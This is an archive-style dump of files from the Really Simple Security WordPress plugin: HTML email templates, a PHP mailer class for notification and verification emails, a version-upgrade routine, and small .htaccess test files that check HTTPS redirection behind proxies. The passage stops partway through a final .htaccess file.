<body class="clean-body u_body" style="margin: 0;padding: 0;-webkit-text-size-adjust: 100%;background-color: #e7e7e7;color: #000000">
  <!--[if IE]><div class="ie-container"><![endif]-->
  <!--[if mso]><div class="mso-container"><![endif]-->
  <table id="u_body" style="border-collapse: collapse;table-layout: fixed;border-spacing: 0;mso-table-lspace: 0pt;mso-table-rspace: 0pt;vertical-align: top;min-width: 320px;Margin: 0 auto;background-color: #e7e7e7;width:100%" cellpadding="0" cellspacing="0">
  <tbody>
  <tr style="vertical-align: top">
    <td style="word-break: break-word;border-collapse: collapse !important;vertical-align: top">
    <!--[if (mso)|(IE)]><table width="100%" cellpadding="0" cellspacing="0" border="0"><tr><td align="center" style="background-color: #e7e7e7;"><![endif]-->



<div class="u-row-container" style="padding: 0px;background-color: #ffffff">
  <div class="u-row" style="margin: 0 auto;min-width: 320px;max-width: 500px;overflow-wrap: break-word;word-wrap: break-word;word-break: break-word;background-color: transparent;">
    <div style="border-collapse: collapse;display: table;width: 100%;height: 100%;background-color: transparent;">
      <!--[if (mso)|(IE)]><table width="100%" cellpadding="0" cellspacing="0" border="0"><tr><td style="padding: 0px;background-color: #ffffff;" align="center"><table cellpadding="0" cellspacing="0" border="0" style="width:500px;"><tr style="background-color: transparent;"><![endif]-->

<!--[if (mso)|(IE)]><td align="center" width="500" style="width: 500px;padding: 5px;border-top: 0px solid transparent;border-left: 0px solid transparent;border-right: 0px solid transparent;border-bottom: 0px solid transparent;" valign="top"><![endif]-->
<div class="u-col u-col-100" style="max-width: 320px;min-width: 500px;display: table-cell;vertical-align: top;">
  <div style="height: 100%;width: 100% !important;">
  <!--[if (!mso)&(!IE)]><!--><div style="box-sizing: border-box; height: 100%; padding: 5px;border-top: 0px solid transparent;border-left: 0px solid transparent;border-right: 0px solid transparent;border-bottom: 0px solid transparent;"><!--<![endif]-->

<table style="font-family:arial,helvetica,sans-serif;" role="presentation" cellpadding="0" cellspacing="0" width="100%" border="0">
  <tbody>
    <tr>
      <td style="overflow-wrap:break-word;word-break:break-word;padding:10px;font-family:arial,helvetica,sans-serif;" align="left">

<table width="100%" cellpadding="0" cellspacing="0" border="0">
  <tr>
    <td style="padding-right: 0px;padding-left: 0px;" align="center">

      <img align="center" border="0" src="https://downloads.really-simple-security.com/images/security.png" alt="Site Security" title="Site Security" style="outline: none;text-decoration: none;-ms-interpolation-mode: bicubic;clear: both;display: inline-block !important;border: none;height: auto;float: none;width: 30%;max-width: 64px;"
      width="96"/>

    </td>
  </tr>
</table>

      </td>
    </tr>
  </tbody>
</table>

  <!--[if (!mso)&(!IE)]><!--></div><!--<![endif]-->
  </div>
</div>
<!--[if (mso)|(IE)]></td><![endif]-->
      <!--[if (mso)|(IE)]></tr></table></td></tr></table><![endif]-->
    </div>
  </div>
  </div>





<div class="u-row-container" style="padding: 0px;background-color: #f2f2f2">
  <div class="u-row" style="margin: 0 auto;min-width: 320px;max-width: 500px;overflow-wrap: break-word;word-wrap: break-word;word-break: break-word;background-color: transparent;">
    <div style="border-collapse: collapse;display: table;width: 100%;height: 100%;background-color: transparent;">
      <!--[if (mso)|(IE)]><table width="100%" cellpadding="0" cellspacing="0" border="0"><tr><td style="padding: 0px;background-color: transparent;" align="center"><table cellpadding="0" cellspacing="0" border="0" style="width:500px;"><tr style="background-color: transparent;"><![endif]-->

<!--[if (mso)|(IE)]><td align="center" width="500" style="width: 500px;padding: 20px;border-top: 0px solid transparent;border-left: 0px solid transparent;border-right: 0px solid transparent;border-bottom: 0px solid transparent;border-radius: 0px;-webkit-border-radius: 0px; -moz-border-radius: 0px;" valign="top"><![endif]-->
<div class="u-col u-col-100" style="max-width: 320px;min-width: 500px;display: table-cell;vertical-align: top;">
  <div style="height: 100%;width: 100% !important;border-radius: 0px;-webkit-border-radius: 0px; -moz-border-radius: 0px;">
  <!--[if (!mso)&(!IE)]><!--><div style="box-sizing: border-box; height: 100%; padding: 20px;border-top: 0px solid transparent;border-left: 0px solid transparent;border-right: 0px solid transparent;border-bottom: 0px solid transparent;border-radius: 0px;-webkit-border-radius: 0px; -moz-border-radius: 0px;"><!--<![endif]-->

<table style="font-family:arial,helvetica,sans-serif;" role="presentation" cellpadding="0" cellspacing="0" width="100%" border="0">
  <tbody>
    <tr>
      <td style="overflow-wrap:break-word;word-break:break-word;padding:10px;font-family:arial,helvetica,sans-serif;" align="left">

  <h1 style="margin: 0px; line-height: 140%; text-align: left; word-wrap: break-word; font-size: 20px; font-weight: 500;">{title}</h1>

      </td>
    </tr>
  </tbody>
</table>

<table style="font-family:arial,helvetica,sans-serif;" role="presentation" cellpadding="0" cellspacing="0" width="100%" border="0">
  <tbody>
    <tr>
      <td style="overflow-wrap:break-word;word-break:break-word;padding:10px;font-family:arial,helvetica,sans-serif;" align="left">

  <div style="font-size: 14px; line-height: 140%; text-align: left; word-wrap: break-word;">
    <p style="line-height: 140%;">{message}</p>
  </div>

      </td>
    </tr>
  </tbody>
</table>

  <!--[if (!mso)&(!IE)]><!--></div><!--<![endif]-->
  </div>
</div>
<!--[if (mso)|(IE)]></td><![endif]-->
      <!--[if (mso)|(IE)]></tr></table></td></tr></table><![endif]-->
    </div>
  </div>
  </div>

  {warnings}

<div class="u-row-container" style="padding: 0px;background-color: #333333">
  <div class="u-row" style="margin: 0 auto;min-width: 320px;max-width: 500px;overflow-wrap: break-word;word-wrap: break-word;word-break: break-word;background-color: transparent;">
    <div style="border-collapse: collapse;display: table;width: 100%;height: 100%;background-color: transparent;">
      <!--[if (mso)|(IE)]><table width="100%" cellpadding="0" cellspacing="0" border="0"><tr><td style="padding: 0px;background-color: #333333;" align="center"><table cellpadding="0" cellspacing="0" border="0" style="width:500px;"><tr style="background-color: transparent;"><![endif]-->

<!--[if (mso)|(IE)]><td align="center" width="500" style="background-color: #333333;width: 500px;padding: 0px;border-top: 0px solid transparent;border-left: 0px solid transparent;border-right: 0px solid transparent;border-bottom: 0px solid transparent;border-radius: 0px;-webkit-border-radius: 0px; -moz-border-radius: 0px;" valign="top"><![endif]-->
<div class="u-col u-col-100" style="max-width: 320px;min-width: 500px;display: table-cell;vertical-align: top;">
  <div style="background-color: #333333;height: 100%;width: 100% !important;border-radius: 0px;-webkit-border-radius: 0px; -moz-border-radius: 0px;">
  <!--[if (!mso)&(!IE)]><!--><div style="box-sizing: border-box; height: 100%; padding: 0px;border-top: 0px solid transparent;border-left: 0px solid transparent;border-right: 0px solid transparent;border-bottom: 0px solid transparent;border-radius: 0px;-webkit-border-radius: 0px; -moz-border-radius: 0px;"><!--<![endif]-->

<table id="u_body_footer" style="font-family:arial,helvetica,sans-serif;" role="presentation" cellpadding="0" cellspacing="0" width="100%" border="0">
  <tbody>
    <tr>
      <td style="overflow-wrap:break-word;word-break:break-word;padding:20px;font-family:arial,helvetica,sans-serif;" align="left">

  <div style="font-size: 12px; color: #ffffff; line-height: 140%; text-align: center; word-wrap: break-word;">
      <p style="margin: 0; margin-bottom: 3px;">{sent_to_text} <a style="text-decoration: underline; color: #fff!important;">{email-address}</a></p>
      <p style="margin: 0;">{sent_by_text}</p>
  </div>

      </td>
    </tr>
  </tbody>
</table>

  <!--[if (!mso)&(!IE)]><!--></div><!--<![endif]-->
  </div>
</div>
<!--[if (mso)|(IE)]></td><![endif]-->
      <!--[if (mso)|(IE)]></tr></table></td></tr></table><![endif]-->
    </div>
  </div>
  </div>



    <!--[if (mso)|(IE)]></td></tr></table><![endif]-->
    </td>
  </tr>
  </tbody>
  </table>
  <!--[if mso]></div><![endif]-->
  <!--[if IE]></div><![endif]-->
</body>

</html>
really-simple-ssl/mailer/templates/block-unbranded.html000064400000010050147510273070017313 0ustar00<div class="u-row-container" style="padding: 20px;background-color: #f2f2f2">
  <div class="u-row" style="margin: 0 auto;min-width: 320px;max-width: 500px;overflow-wrap: break-word;word-wrap: break-word;word-break: break-word;background-color: transparent;">
    <div style="border-collapse: collapse;display: table;width: 100%;height: 100%;background-color: transparent;">
      <!--[if (mso)|(IE)]><table width="100%" cellpadding="0" cellspacing="0" border="0"><tr><td style="padding: 20px;background-color: transparent;" align="center"><table cellpadding="0" cellspacing="0" border="0" style="width:500px;"><tr style="background-color: transparent;"><![endif]-->

<!--[if (mso)|(IE)]><td align="center" width="500" style="background-color: #ffffff;width: 500px;padding: 20px;border-top: 0px solid transparent;border-left: 0px solid transparent;border-right: 0px solid transparent;border-bottom: 0px solid transparent;border-radius: 0px;-webkit-border-radius: 0px; -moz-border-radius: 0px;" valign="top"><![endif]-->
<div class="u-col u-col-100" style="max-width: 320px;min-width: 500px;display: table-cell;vertical-align: top;">
  <div style="background-color: #ffffff;height: 100%;width: 100% !important;border-radius: 0px;-webkit-border-radius: 0px; -moz-border-radius: 0px;">
  <!--[if (!mso)&(!IE)]><!--><div style="box-sizing: border-box; height: 100%; padding: 20px;border-top: 0px solid transparent;border-left: 0px solid transparent;border-right: 0px solid transparent;border-bottom: 0px solid transparent;border-radius: 0px;-webkit-border-radius: 0px; -moz-border-radius: 0px;"><!--<![endif]-->

<table style="font-family:arial,helvetica,sans-serif;" role="presentation" cellpadding="0" cellspacing="0" width="100%" border="0">
  <tbody>
    <tr>
      <td style="overflow-wrap:break-word;word-break:break-word;padding:10px;font-family:arial,helvetica,sans-serif;" align="left">

  <h2 style="margin: 0px; line-height: 140%; text-align: left; word-wrap: break-word; font-size: 22px; font-weight: 400;">{title}</h2>

      </td>
    </tr>
  </tbody>
</table>

<table style="font-family:arial,helvetica,sans-serif;" role="presentation" cellpadding="0" cellspacing="0" width="100%" border="0">
  <tbody>
    <tr>
      <td style="overflow-wrap:break-word;word-break:break-word;padding:10px;font-family:arial,helvetica,sans-serif;" align="left">

  <div style="font-size: 14px; line-height: 140%; text-align: left; word-wrap: break-word;">
    <p style="line-height: 140%;">{message}</p>
  </div>

      </td>
    </tr>
  </tbody>
</table>

<table style="font-family:arial,helvetica,sans-serif;" role="presentation" cellpadding="0" cellspacing="0" width="100%" border="0">
  <tbody>
    <tr>
      <td style="overflow-wrap:break-word;word-break:break-word;padding:10px;font-family:arial,helvetica,sans-serif;" align="left">

  <!--[if mso]><style>.v-button {background: transparent !important;}</style><![endif]-->
<div align="left">
  <!--[if mso]><v:roundrect xmlns:v="urn:schemas-microsoft-com:vml" xmlns:w="urn:schemas-microsoft-com:office:word" href="" style="height:37px; v-text-anchor:middle; width:117px;" arcsize="11%"  stroke="f" fillcolor="#007bbc"><w:anchorlock/><center style="color:#FFFFFF;"><![endif]-->
    <a href="{url}" target="_blank" rel="noopener noreferrer" class="v-button" style="box-sizing: border-box;display: inline-block;text-decoration: none;-webkit-text-size-adjust: none;text-align: center;color: #FFFFFF; background-color: #007bbc; border-radius: 4px;-webkit-border-radius: 4px; -moz-border-radius: 4px; width:auto; max-width:100%; overflow-wrap: break-word; word-break: break-word; word-wrap:break-word; mso-border-alt: none;font-size: 14px;">
      <span style="display:block;padding:10px 20px;line-height:120%;"><span style="line-height: 16.8px;">{learn-more}</span></span>
    </a>
    <!--[if mso]></center></v:roundrect><![endif]-->
</div>

      </td>
    </tr>
  </tbody>
</table>

  <!--[if (!mso)&(!IE)]><!--></div><!--<![endif]-->
  </div>
</div>
<!--[if (mso)|(IE)]></td><![endif]-->
      <!--[if (mso)|(IE)]></tr></table></td></tr></table><![endif]-->
    </div>
  </div>
  </div>
really-simple-ssl/mailer/class-mail.php000064400000017277147510273070014155 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class to send an e-mail
 */

if ( ! class_exists( 'rsssl_mailer' ) ) {
	class rsssl_mailer {

		public $to;
		public $title;
		public $headers;
		public $message;
		public $branded = true;
		public $subject;
		public $button_text;
		public $change_text;
		public $sent_to_text;
		public $what_now_text;
		public $sent_by_text;
		public $warning_blocks;
		public $error = '';
		public $template_filename;
		public $block_template_filename;

		public function __construct() {

			$this->sent_by_text  = __( "This email is part of the Really Simple Security Notification System", "really-simple-ssl" );
			$this->subject       = __( "Notification by Really Simple Security", "really-simple-ssl" );
			$this->button_text   = __( "Learn more", "really-simple-ssl" );
			$this->to            = rsssl_get_option( 'notifications_email_address', get_bloginfo( 'admin_email' ) );
			$this->title         = __( "Learn more about our features!", "really-simple-ssl" );
			$this->sent_to_text  = __( "This email was sent to", "really-simple-ssl" );
			$this->what_now_text = __( "Learn more", "really-simple-ssl" );
			$this->change_text   = __( "Why did I receive this email?", "really-simple-ssl" );

			$domain        = '<a href="' . site_url() . '">' . site_url() . '</a>';
			$this->message = sprintf( __( "You have enabled a feature on %s. We think it's important to let you know a little bit more about this feature so you can use it without worries.", "really-simple-ssl" ), $domain );

			add_action( 'wp_mail_failed', array( $this, 'log_mailer_errors' ), 10, 1 );

		}

		/**
		 * Send a test email
		 * @return array
		 */
		public function send_test_mail() {
			if ( ! rsssl_user_can_manage() ) {
				return [ 'success' => false, 'message' => 'Not allowed' ];
			}

			if ( ! is_email( $this->to ) ) {
				return [
					'success' => false,
					'title'   => __( "Test notification email error", 'really-simple-ssl' ),
					'message' => __( 'Email address not valid', "really-simple-ssl" ),
				];
			}
			$this->title          = __( "Really Simple Security - Notification Test", "really-simple-ssl" );
			$this->message        = __( "This email is confirmation that any security notices are likely to reach your inbox.", "really-simple-ssl" );
			$this->warning_blocks = [
				[
					'title'   => __( "About notifications", "really-simple-ssl" ),
					'message' => __( "Email notifications are only sent for important updates, security notices or when certain features are enabled.", "really-simple-ssl" ),
					'url'     => rsssl_link('email-notifications/'),
				]
			];

			return $this->send_mail( true );
		}

		public function send_verification_mail() {
			if ( ! rsssl_user_can_manage() ) {
				return [
					'success' => false,
					'message' => 'Not allowed',
					'title'   => __( "Email verification error", 'really-simple-ssl' ),
				];
			}

			$verification_code       = str_pad( rand( 0, 999999 ), 6, '0', STR_PAD_LEFT );
			$verification_expiration = strtotime( "+15 minutes" );

			// Delete existing option
			delete_option( 'rsssl_email_verification_code' );

			update_option( 'rsssl_email_verification_code', $verification_code, false );
			update_option( 'rsssl_email_verification_code_expiration', $verification_expiration, false );
			update_option( 'rsssl_email_verification_status', 'started', false );

			if ( ! is_email( $this->to ) ) {
				return [
					'success' => false,
					'title'   => __( "Email verification error", 'really-simple-ssl' ),
					'message' => __( 'Email address not valid', "really-simple-ssl" )
				];
			}

			$user_id = get_current_user_id();

			$verification_url = add_query_arg(
				array(
					'page'                    => 'really-simple-security',
					'rsssl_nonce'             => wp_create_nonce( 'rsssl_email_verification_' . $user_id ),
					'rsssl_verification_code' => $verification_code,
				),
				rsssl_admin_url([], '#settings/general')
			);

			$this->subject          = __( "Really Simple Security - Verify your email address", "really-simple-ssl" );
			$this->title            = __( "Please verify your email", "really-simple-ssl" );
			$this->message          = __('To use certain features in Really Simple Security we need to confirm emails are delivered without issues.', 'really-simple-ssl');
			$this->button_text      = __( "Verify email", "really-simple-ssl" );
			$this->warning_blocks[] = [
				'title'   => '',
				'message' => sprintf( __( "Click the button below to confirm your email address, or copy the following URL: %s", "really-simple-ssl" ), '{url}' ),
				'url'     => $verification_url,
			];

			return $this->send_mail();
		}

		public function log_mailer_errors( $wp_error ) {
			if ( is_wp_error( $wp_error ) ) {
				$this->error = $wp_error->get_error_message();
			}
		}

		/**
		 * Send an e-mail with the correct login URL
		 *
		 * @return array
		 */
		public function send_mail(): array {
			if ( empty( $this->message ) || empty( $this->subject ) ) {
				$this->error = __( "Email could not be sent. No message or subject set.", "really-simple-ssl" );
			}

			if ( ! is_email( $this->to ) ) {
				$this->error = __( "Email address not valid", "really-simple-ssl" );
			}
			$block_template                = $this->branded ? rsssl_path . '/mailer/templates/block.html' : rsssl_path . '/mailer/templates/block-unbranded.html';
			$email_template                = $this->branded ? rsssl_path . '/mailer/templates/email.html' : rsssl_path . '/mailer/templates/email-unbranded.html';
			$this->block_template_filename = apply_filters( 'rsssl_email_block_template', $block_template );
			$this->template_filename       = apply_filters( 'rsssl_email_template', $email_template );

			$template   = file_get_contents( $this->template_filename );
			$block_html = '';
			if ( is_array( $this->warning_blocks ) && count( $this->warning_blocks ) > 0 ) {
				$block_template = file_get_contents( $this->block_template_filename );
				foreach ( $this->warning_blocks as $warning_block ) {
					$block_html .= str_replace(
						[ '{title}', '{message}', '{url}' ],
						[
							sanitize_text_field( $warning_block['title'] ),
							wp_kses_post( $warning_block['message'] ),
							esc_url_raw( $warning_block['url'] )
						],
						$block_template );
				}
			}
			$username  = rsssl_get_option( 'new_admin_user_login' );
			$login_url = ! empty( rsssl_get_option( 'change_login_url' ) )
				? trailingslashit( site_url() ) . rsssl_get_option( 'change_login_url' )
				: wp_login_url();
			$body      = str_replace(
				[
					'{title}',
					'{message}',
					'{warnings}',
					'{email-address}',
					'{learn-more}',
					'{site_url}',
					'{login_url}',
					'{username}',
					'{change_text}',
					'{what_now}',
					'{sent_to_text}',
					'{sent_by_text}',
				],
				[
					sanitize_text_field( $this->title ),
					wp_kses_post( $this->message ),
					$block_html,
					$this->to,
					$this->button_text,
					site_url(),
					$login_url,
					$username,
					$this->change_text,
					$this->what_now_text,
					$this->sent_to_text,
					$this->sent_by_text,
				], $template );
			$success   = wp_mail( $this->to, sanitize_text_field( $this->subject ), $body, array( 'Content-Type: text/html; charset=UTF-8' ) );
			if ( $success ) {
				return [
					'success' => true,
					'title'   => __( "Email verification", 'really-simple-ssl' ),
					'message' => __( 'Email sent! Please check your mail', "really-simple-ssl" )
				];
			}

			if ( empty( $this->error ) ) {
				$this->error = __( 'Email could not be sent.', "really-simple-ssl" );
			} else {
				$this->error = __( 'An error occurred:', "really-simple-ssl" ) . '<br>' . $this->error;
			}

			return [
				'success' => false,
				'title'   => __( "Email notification error", 'really-simple-ssl' ),
				'message' => $this->error
			];
		}

	}
}
really-simple-ssl/upgrade.php000064400000023105147510273070012271 0ustar00<?php
defined( 'ABSPATH' ) or die();

add_action( 'plugins_loaded', 'rsssl_upgrade', 20 );
function rsssl_upgrade() {

	#only run upgrade check if cron, or if admin.
	if ( ! rsssl_admin_logged_in() ) {
		return;
	}

	$prev_version = get_option( 'rsssl_current_version', false );

	//no version change, skip upgrade.
	if ( $prev_version && version_compare( $prev_version, rsssl_version, '==' ) ) {
		return;
	}
	//dismiss notices that should be dismissed on plugin upgrade
	if ( $prev_version && version_compare( $prev_version, rsssl_version, '!=' ) ) {
		$dismiss_options = RSSSL()->admin->get_notices_list(
			array(
				'dismiss_on_upgrade' => true,
			)
		);
		foreach ( $dismiss_options as $dismiss_option ) {
			if ( !is_string($dismiss_option) ) continue;
			update_option( 'rsssl_' . $dismiss_option . '_dismissed', true, false );
		}
		delete_transient( 'rsssl_plusone_count' );
	}

	if ( $prev_version && version_compare( $prev_version, '5.1.3', '<=' ) ) {
		if ( get_option( 'rsssl_disable_ocsp' ) ) {
			$options                 = get_option( 'rsssl_options_lets-encrypt' );
			$options['disable_ocsp'] = true;
			update_option( 'rsssl_options_lets-encrypt', $options, false );
			delete_option( 'rsssl_disable_ocsp' );
		}
	}

	if ( $prev_version && version_compare( $prev_version, '5.3.0', '<=' ) ) {
		if ( file_exists( RSSSL()->admin->htaccess_file() ) && is_writable( RSSSL()->admin->htaccess_file() ) ) {
			$htaccess      = file_get_contents( RSSSL()->admin->htaccess_file() );
			$pattern_start = '/rlrssslReallySimpleSSL rsssl_version\[.*.]/';
			if ( preg_match_all( $pattern_start, $htaccess ) ) {
				$htaccess = preg_replace( $pattern_start, 'Really Simple Security Redirect ' . rsssl_version, $htaccess );
				$htaccess = str_replace( 'rlrssslReallySimpleSSL', 'Really Simple Security Redirect', $htaccess );
				file_put_contents( RSSSL()->admin->htaccess_file(), $htaccess );
			}
		}
	}

	if ( $prev_version && version_compare( $prev_version, '6.0.0', '<' ) ) {
		delete_option( 'rsssl_admin_notices' );
		update_option( 'rsssl_show_onboarding', true, false );
		//upgrade both site and network settings
		$options = get_option( 'rlrsssl_options' );
		if ( is_multisite() && rsssl_is_networkwide_active() ) {
			$new_options = get_site_option( 'rsssl_options', [] );
		} else {
			$new_options = get_option( 'rsssl_options', [] );
		}

		$ssl_enabled                = isset( $options['ssl_enabled'] ) ? $options['ssl_enabled'] : false;
		$new_options['ssl_enabled'] = (bool) $ssl_enabled;

		$autoreplace_insecure_links         = isset( $options['autoreplace_insecure_links'] ) ? $options['autoreplace_insecure_links'] : true;
		$new_options['mixed_content_fixer'] = (bool) $autoreplace_insecure_links;

		$wp_redirect       = isset( $options['wp_redirect'] ) ? $options['wp_redirect'] : false;
		$htaccess_redirect = isset( $options['htaccess_redirect'] ) ? $options['htaccess_redirect'] : false;
		$redirect          = 'none;';
		if ( $htaccess_redirect ) {
			$redirect = 'htaccess';
		} elseif ( $wp_redirect ) {
			$redirect = 'wp_redirect';
		}
		$new_options['redirect'] = sanitize_title( $redirect );

		$do_not_edit_htaccess                = isset( $options['do_not_edit_htaccess'] ) ? $options['do_not_edit_htaccess'] : false;
		$new_options['do_not_edit_htaccess'] = (bool) $do_not_edit_htaccess;

		$dismiss_all_notices                = isset( $options['dismiss_all_notices'] ) ? $options['dismiss_all_notices'] : false;
		$new_options['dismiss_all_notices'] = (bool) $dismiss_all_notices;

		$switch_mixed_content_fixer_hook                = isset( $options['switch_mixed_content_fixer_hook'] ) ? $options['switch_mixed_content_fixer_hook'] : false;
		$new_options['switch_mixed_content_fixer_hook'] = (bool) $switch_mixed_content_fixer_hook;

		delete_option( 'rsssl_upgraded_to_four' );

		/**
		 * Multisite
		 */
		if ( is_multisite() && rsssl_is_networkwide_active() ) {
			$network_options      = get_site_option( 'rlrsssl_network_options' );
			$enabled_network_wide = isset( $network_options['ssl_enabled_networkwide'] ) ? $network_options['ssl_enabled_networkwide'] : false;
			if ( $ssl_enabled && $enabled_network_wide ) {
				update_site_option( 'rsssl_network_activation_status', 'completed' );
			} elseif ( $ssl_enabled ) {
				//convert entire site to SSL
				RSSSL()->multisite->start_ssl_activation();
			}
			//ensure this doesn't run again
			$network_options['ssl_enabled_networkwide'] = false;
			update_site_option( 'rlrsssl_network_options', $network_options );

			$dismiss_all_notices                = isset( $network_options['dismiss_all_notices'] ) ? $network_options['dismiss_all_notices'] : false;
			$new_options['dismiss_all_notices'] = (bool) $dismiss_all_notices;

			$wp_redirect = isset( $network_options['wp_redirect'] ) ? $network_options['wp_redirect'] : false;
			if ( $wp_redirect ) {
				$redirect = 'wp_redirect';
			}
			$htaccess_redirect = isset( $network_options['htaccess_redirect'] ) ? $network_options['htaccess_redirect'] : false;
			if ( $htaccess_redirect ) {
				$redirect = 'htaccess';
			}
			$new_options['redirect'] = sanitize_title( $redirect );

			$do_not_edit_htaccess                = isset( $network_options['do_not_edit_htaccess'] ) ? $network_options['do_not_edit_htaccess'] : false;
			$new_options['do_not_edit_htaccess'] = (bool) $do_not_edit_htaccess;

			$autoreplace_mixed_content          = isset( $network_options['autoreplace_mixed_content'] ) ? $network_options['autoreplace_mixed_content'] : false;
			$new_options['mixed_content_fixer'] = (bool) $autoreplace_mixed_content;

			//upgrade lets encrypt options
			$le_options        = get_option( 'rsssl_options_lets-encrypt' );
			$verification_type = get_option( 'rsssl_verification_type' );
			if ( $verification_type ) {
				$new_options['verification_type'] = strtolower( sanitize_title( $verification_type ) );
			}
			if ( ! empty( $le_options ) ) {
				foreach ( $options as $fieldname => $value ) {
					$new_options[ $fieldname ] = sanitize_text_field( $value );
				}
			}
		}

		if ( is_multisite() && rsssl_is_networkwide_active() ) {
			update_site_option( 'rsssl_options', $new_options );
		} else {
			update_option( 'rsssl_options', $new_options );
		}
		update_option( 'rsssl_flush_rewrite_rules', time() );
	}

	#clean up old rest api optimizer on upgrade
	if ( $prev_version && version_compare( $prev_version, '6.0.5', '<' ) ) {
		if ( file_exists( trailingslashit( WPMU_PLUGIN_DIR ) . 'rsssl_rest_api_optimizer.php' ) ) {
			unlink( trailingslashit( WPMU_PLUGIN_DIR ) . 'rsssl_rest_api_optimizer.php' );
		}
	}

	#clear notices cache for multisite on upgrade, for the subsite notice
	if ( version_compare( $prev_version, '6.0.9', '<' ) ) {
		if ( is_multisite() ) {
			delete_option( 'rsssl_admin_notices' );
		}
	}

	#ensure administrators have the manage_security capability
	if ( version_compare( $prev_version, '6.0.10', '<' ) ) {
		rsssl_add_manage_security_capability();
	}

	#move notices transient to option, for better persistence
	if ( $prev_version && version_compare( $prev_version, '6.0.13', '<' ) ) {
		$notices   = get_transient( 'rsssl_admin_notices' );
		$plus_ones = get_transient( 'rsssl_plusone_count' );
		update_option( 'rsssl_admin_notices', $notices );
		update_option( 'rsssl_plusone_count', $plus_ones );
	}

	if ( $prev_version && version_compare( $prev_version, '6.2.3', '<' ) ) {
		rsssl_update_option( 'send_notifications_email', 1 );
	}

	if ( $prev_version && version_compare( $prev_version, '6.2.4', '<' ) ) {
		delete_option( 'rsssl_6_upgrade_completed' );
	}

	if ( $prev_version && version_compare( $prev_version, '7.1.0', '<' ) ) {
		do_action( 'rsssl_update_rules' );
	}

	// Update the config to auto prepend
	if ( $prev_version && version_compare( $prev_version, '8.0', '<' ) ) {
		RSSSL_SECURITY()->firewall_manager->update_wp_config_rule();
	}
	//free
	if ( $prev_version && version_compare( $prev_version, '8.1.2', '<' ) ) {
		do_action('rsssl_update_rules');
	}

	if ( $prev_version && version_compare( $prev_version, '8.3.0', '<' ) ) {
		wp_clear_scheduled_hook('rsssl_pro_every_hour_hook');
		wp_clear_scheduled_hook('rsssl_pro_every_day_hook');
		wp_clear_scheduled_hook('rsssl_pro_five_minutes_hook');
		wp_clear_scheduled_hook('rsssl_le_every_week_hook');
		wp_clear_scheduled_hook('rsssl_le_every_day_hook');

		//split rsssl_key in two options so we can upgrade separately
		$key = get_option( 'rsssl_key');
		$site_key = get_site_option( 'rsssl_key');
		if ( $key ) {
			update_option( 'rsssl_license_key', $key, false );
		}
		if ( $site_key ) {
			update_site_option( 'rsssl_le_key', $site_key );
		}

		delete_site_option('rsssl_key');
		delete_option('rsssl_key');
		update_option('rsssl_upgrade_le_key', true, false);
	}

	if ( $prev_version && version_compare( $prev_version, '9.0', '<' ) ) {
		// Replace Really Simple SSL with Really Simple Security in wp-config.php, .htaccess,
		// advanced-headers.php
		RSSSL()->admin->update_branding_in_files();
		RSSSL()->admin->clear_admin_notices_cache();
	}

	if ( $prev_version && version_compare( $prev_version, '9.1.1', '<' ) ) {
		do_action('rsssl_update_rules');
	}
    if ( $prev_version && version_compare( $prev_version, '9.1.1.1', '<=' ) ) {
        update_option('rsssl_reset_fix', true, false);
    }

	//don't clear on each update.
	//RSSSL()->admin->clear_admin_notices_cache();

	//delete in future upgrade. We want to check the review notice dismissed as fallback still.
	//delete_option( 'rlrsssl_options' );
	//delete_site_option( 'rlrsssl_network_options' );
	//delete_option( 'rsssl_options_lets-encrypt' );
	update_option( 'rsssl_previous_version', $prev_version, false );
	do_action( 'rsssl_upgrade', $prev_version );
	update_option( 'rsssl_current_version', rsssl_version, false );
}
really-simple-ssl/testssl/serverhttpxforwardedssl1/ssl-test-page.html000064400000000237147510273070022310 0ustar00<html>
<head>
 <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">
</head>
<body>
  This page is for testing SSL functionality.
  #SSL TEST PAGE#
</body>
</html>
really-simple-ssl/testssl/serverhttpxforwardedssl1/.htaccess000064400000000227147510273070020527 0ustar00<IfModule mod_rewrite.c>
RewriteEngine on
RewriteCond %{HTTP:X-Forwarded-SSL} !=1
RewriteRule ^(.*) https://%{HTTP_HOST}%{REQUEST_URI} [L]
</IfModule>
really-simple-ssl/testssl/cloudflare/.htaccess000064400000000240147510273070015543 0ustar00<IfModule mod_rewrite.c>
RewriteEngine on
RewriteCond %{HTTP:CF-Visitor} '"scheme":"http"'
RewriteRule ^(.*) https://%{HTTP_HOST}%{REQUEST_URI} [L]
</IfModule>
really-simple-ssl/testssl/cloudflare/ssl-test-page.html000064400000000237147510273070017331 0ustar00<html>
<head>
 <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">
</head>
<body>
  This page is for testing SSL functionality.
  #SSL TEST PAGE#
</body>
</html>
really-simple-ssl/testssl/cloudfront/ssl-test-page.html000064400000000237147510273070017370 0ustar00<html>
<head>
 <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">
</head>
<body>
  This page is for testing SSL functionality.
  #SSL TEST PAGE#
</body>
</html>
really-simple-ssl/testssl/cloudfront/.htaccess000064400000000245147510273070015607 0ustar00<IfModule mod_rewrite.c>
RewriteEngine on
RewriteCond %{HTTP:CloudFront-Forwarded-Proto} !https
RewriteRule ^(.*) https://%{HTTP_HOST}%{REQUEST_URI} [L]
</IfModule>
really-simple-ssl/testssl/serverport443/ssl-test-page.html000064400000000237147510273070017657 0ustar00<html>
<head>
 <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">
</head>
<body>
  This page is for testing SSL functionality.
  #SSL TEST PAGE#
</body>
</html>
really-simple-ssl/testssl/serverport443/.htaccess000064400000000217147510273070016075 0ustar00<IfModule mod_rewrite.c>
RewriteEngine on
RewriteCond %{SERVER_PORT} !443
RewriteRule ^(.*) https://%{HTTP_HOST}%{REQUEST_URI} [L]
</IfModule>
really-simple-ssl/testssl/envhttps/.htaccess000064400000000214147510273070015277 0ustar00<IfModule mod_rewrite.c>
RewriteEngine on
RewriteCond %{ENV:HTTPS} !=on
RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} [L]
</IfModule>
really-simple-ssl/testssl/envhttps/ssl-test-page.html000064400000000237147510273070017064 0ustar00<html>
<head>
 <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">
</head>
<body>
  This page is for testing SSL functionality.
  #SSL TEST PAGE#
</body>
</html>
really-simple-ssl/testssl/loadbalancer/.htaccess000064400000000234147510273070016035 0ustar00<IfModule mod_rewrite.c>
